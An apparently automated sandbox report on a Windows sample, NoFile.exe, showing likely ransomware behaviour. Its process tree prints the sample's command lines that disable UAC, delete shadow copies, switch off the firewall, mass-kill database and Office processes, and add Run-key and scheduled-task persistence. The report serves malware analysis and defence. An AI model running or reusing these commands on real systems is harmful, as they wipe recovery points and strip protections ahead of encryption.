Analysis
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max time kernel
151s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
06-02-2022 09:18
General
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Target
NoFile.exe
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Size
2.2MB
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MD5
7d1ed67b77f47ba8aadf9a3ac7d0c371
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SHA1
a598e6708c189caeef1fa76064feb4d0155abb3d
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SHA256
87300e6563c7ac9d8d758b219d135fb8b84a7788419a0ddd8c3470cc1e739eae
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SHA512
17e468ba87f06c599b40b2dc8256bacfcfeb53cde8ac48b77d61f2c5a074b9cbe19e27e71029c67960d18af886813fc2c1b2b5afd89ae25147b179c233f120f9
Score
10/10
Malware Config
Signatures
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UAC bypass 3 TTPs
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies Windows Firewall 1 TTPs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 2 IoCs
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Adds Run key to start application 2 TTPs 4 IoCs
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Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Drops file in Program Files directory 64 IoCs
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Drops file in Windows directory 4 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Delays execution with timeout.exe 10 IoCs
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Enumerates processes with tasklist 1 TTPs 11 IoCs
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Gathers system information 1 TTPs 2 IoCs
Runs systeminfo.exe.
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Kills process with taskkill 40 IoCs
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Modifies data under HKEY_USERS 47 IoCs
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Modifies registry class 1 IoCs
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Modifies registry key 1 TTPs 3 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\NoFile.exe"C:\Users\Admin\AppData\Local\Temp\NoFile.exe"1⤵
- Drops startup file
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\findstr.exefindstr /i "dcdcf"3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&t2_svc.bat2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\v9_svc.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C echo C:\Users\Admin\AppData\h4_svc.bat4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\h4_svc.bat" "4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\tasklist.exetasklist /v5⤵
- Enumerates processes with tasklist
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\find.exefind /I /c "dcdcf"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\tasklist.exetasklist /fi "ImageName eq NoFile.exe" /fo csv5⤵
- Enumerates processes with tasklist
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C:\Windows\SysWOW64\find.exefind /I "NoFile.exe"5⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 15 /nobreak5⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\t2_svc.bat'" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\Admin\AppData\t2_svc.bat'" /f3⤵
- Creates scheduled task(s)
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\nslookup.exenslookup myip.opendns.com. resolver1.opendns.com3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo %date%-%time%2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\systeminfo.exesysteminfo3⤵
- Gathers system information
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C:\Windows\SysWOW64\find.exefind /i "os name"3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c systeminfo|find /i "original"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\systeminfo.exesysteminfo3⤵
- Gathers system information
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C:\Windows\SysWOW64\find.exefind /i "original"3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes2⤵
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C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- Modifies registry key
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\netsh.exenetsh advfirewall set currentprofile state off3⤵
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
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C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall set rule group="Network Discovery" new enable=Yes3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /im notepad.exe&taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskkill /im mydesktopqos.exe&taskkill /im isqlplussvc.exe&taskkill /im xfssvccon.exe&taskkill /im mydesktopservice.exe&taskkill /im ocautoupds.exe&taskkill /im agntsvc.exe&taskkill /im encsvc.exe&taskkill /im firefoxconfig.exe&taskkill /im tbirdconfig.exe&taskkill /im ocomm.exe&taskkill /im mysqld.exe&taskkill /im mysqld-nt.exe&taskkill /im mysqld-opt.exe&taskkill /im dbeng50.exe&taskkill /im sqbcoreservice.exe&taskkill /im excel.exe&taskkill /im infopath.exe&taskkill /im msaccess.exe&taskkill /im mspub.exe&taskkill /im onenote.exe&taskkill /im outlook.exe&taskkill /im powerpnt.exe&taskkill /im steam.exe&taskkill /im thebat.exe&taskkill /im thebat64.exe&taskkill /im thunderbird.exe&taskkill /im visio.exe&taskkill /im winword.exe&taskkill /im wordpad.exe2⤵
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C:\Windows\SysWOW64\taskkill.exetaskkill /im notepad.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im msftesql.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlagent.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlbrowser.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlservr.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlwriter.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im oracle.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im ocssd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im dbsnmp.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im synctime.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\taskkill.exetaskkill /im agntsvc.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im mydesktopqos.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im isqlplussvc.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im xfssvccon.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im mydesktopservice.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im ocautoupds.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im agntsvc.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im encsvc.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im firefoxconfig.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im tbirdconfig.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im ocomm.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im mysqld.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im mysqld-nt.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im mysqld-opt.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im dbeng50.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im sqbcoreservice.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im excel.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im infopath.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im msaccess.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im mspub.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im onenote.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im outlook.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im powerpnt.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im steam.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im thebat.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im thebat64.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im thunderbird.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im visio.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im winword.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\taskkill.exetaskkill /im wordpad.exe3⤵
- Kills process with taskkill
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f® delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f2⤵
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C:\Windows\SysWOW64\reg.exereg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f3⤵
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C:\Windows\SysWOW64\reg.exereg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f3⤵
- Modifies registry key
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f® add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f2⤵
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C:\Windows\SysWOW64\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f3⤵
- Adds Run key to start application
- Modifies registry key
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f3⤵
- Adds Run key to start application
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C:\Windows\system32\MusNotifyIcon.exe%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 131⤵
- Checks processor information in registry
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Bypass User Account Control
1Disabling Security Tools
1Modify Registry
3File Deletion
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\h4_svc.batMD5
ead5cad574fa019df970900e07e76afd
SHA12bf7be0a9b3f174eaccd0a89310699f7b15fed02
SHA2567de41bf6be3b821fb2ff4a2f8b7f6772d407c0bdf1bccfd9c19207ab1f07440f
SHA51216aa662012c6ed8c50cb45f0487ff10081201c0091ccd86b4ae5235e72ef696a188f9acb5f91e8a59b95cac7b5d8b1c89328f32714f51d201db94e0a0aae5c87
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C:\Users\Admin\AppData\t2_svc.batMD5
702f5dc6f9dec28c8c9b7b6885c9fe09
SHA1dbb85da6de899deb21ce0a8f25c1726cd19e49e8
SHA25620bf5224af318c449407c99e5f4628f71b874463a1cb777031a43b6236ab97e9
SHA512fa4bfc3ac77561585d03bf62e7bb4de0602cf442b5c54b70945f8c75114d111559f50ad36026e2bb1027323f7f50130b7c60bee22835400a8a07feab436ccff7
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C:\Users\Admin\AppData\v9_svc.vbsMD5
e9c50acda9063b2462697bdbd0a0dfe2
SHA1d1a2bc54905ce0e9121f8e5c249e0527f2190b7e
SHA256f236c75a867944ce27e123b3aaf3a465084bc6135dc453f7f4aacb1cbf9946bd
SHA512d5cd841b82867e323f5cd28f97c9a27ea32be1b3793cb7ddff1ccc3c0559c6b3758f6366d259eda2265431f67a1eebe41dcfb2047ee94c515eb458af6311b8a9